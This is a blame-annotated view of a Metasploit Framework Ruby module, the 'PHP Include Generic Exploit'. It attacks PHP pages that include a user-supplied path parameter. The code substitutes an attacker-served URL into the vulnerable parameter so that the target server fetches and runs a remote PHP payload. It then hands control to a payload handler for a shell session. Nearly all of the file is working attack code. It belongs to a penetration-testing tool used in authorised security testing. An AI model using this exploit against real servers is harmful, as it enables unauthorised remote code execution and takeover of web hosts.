2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-03-04 07:34:26 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-12-17 07:57:51 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ManualRanking
|
2006-12-17 07:57:51 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::Remote::HttpServer::PHPInclude
|
2006-12-17 07:57:51 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'PHP Include Generic Exploit',
|
|
|
|
'Description' => %q{
|
2008-03-04 07:34:26 +00:00
|
|
|
Exploits things like <?php include($_GET['path']); ?>
|
2006-12-17 07:57:51 +00:00
|
|
|
},
|
2008-09-24 04:41:51 +00:00
|
|
|
'Author' => [ 'hdm' , 'egypt' ],
|
2006-12-17 07:57:51 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-12-17 07:57:51 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
2008-09-24 04:41:51 +00:00
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'ConnectionType' => 'find',
|
|
|
|
},
|
2006-12-17 07:57:51 +00:00
|
|
|
'Space' => 32768,
|
|
|
|
},
|
|
|
|
'Platform' => 'php',
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
|
|
'DefaultTarget' => 0))
|
2006-12-17 08:02:35 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('PHPURI', [true, "The URI to request, with the include parameter changed to !URL!", "/test.php?path=!URL!"]),
|
|
|
|
], self.class)
|
2006-12-17 07:57:51 +00:00
|
|
|
end
|
|
|
|
|
2009-09-10 05:24:03 +00:00
|
|
|
def check
|
|
|
|
uri = datastore['PHPURI'].gsub(/\?.*/, "")
|
|
|
|
print_status("Checking uri #{uri}")
|
|
|
|
response = send_request_raw({ 'uri' => uri})
|
|
|
|
if response.code == 200
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
|
|
|
print_error("Server responded with #{response.code}")
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2008-03-04 07:34:26 +00:00
|
|
|
|
2006-12-17 07:57:51 +00:00
|
|
|
def php_exploit
|
2008-03-04 07:34:26 +00:00
|
|
|
# very short timeout because the request may never return if we're
|
|
|
|
# sending a socket payload
|
|
|
|
timeout = 0.01
|
2009-06-20 05:50:52 +00:00
|
|
|
uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.to_hex(php_include_url, "%"))
|
2008-03-04 07:34:26 +00:00
|
|
|
print_status("Trying uri #{uri}")
|
2009-06-20 05:50:52 +00:00
|
|
|
# The option {'global' => true} is required to make findsock payloads work
|
|
|
|
response = send_request_raw( {
|
|
|
|
'global' => true,
|
|
|
|
'uri' => uri,
|
|
|
|
},timeout)
|
2009-09-10 05:24:03 +00:00
|
|
|
if response and response.code != 200
|
|
|
|
print_error("Server returned non-200 status code (#{response.code})")
|
|
|
|
end
|
2008-03-04 07:34:26 +00:00
|
|
|
|
2008-09-24 04:41:51 +00:00
|
|
|
handler
|
2006-12-17 07:57:51 +00:00
|
|
|
end
|
2008-03-04 07:34:26 +00:00
|
|
|
|
2009-06-20 05:50:52 +00:00
|
|
|
end
|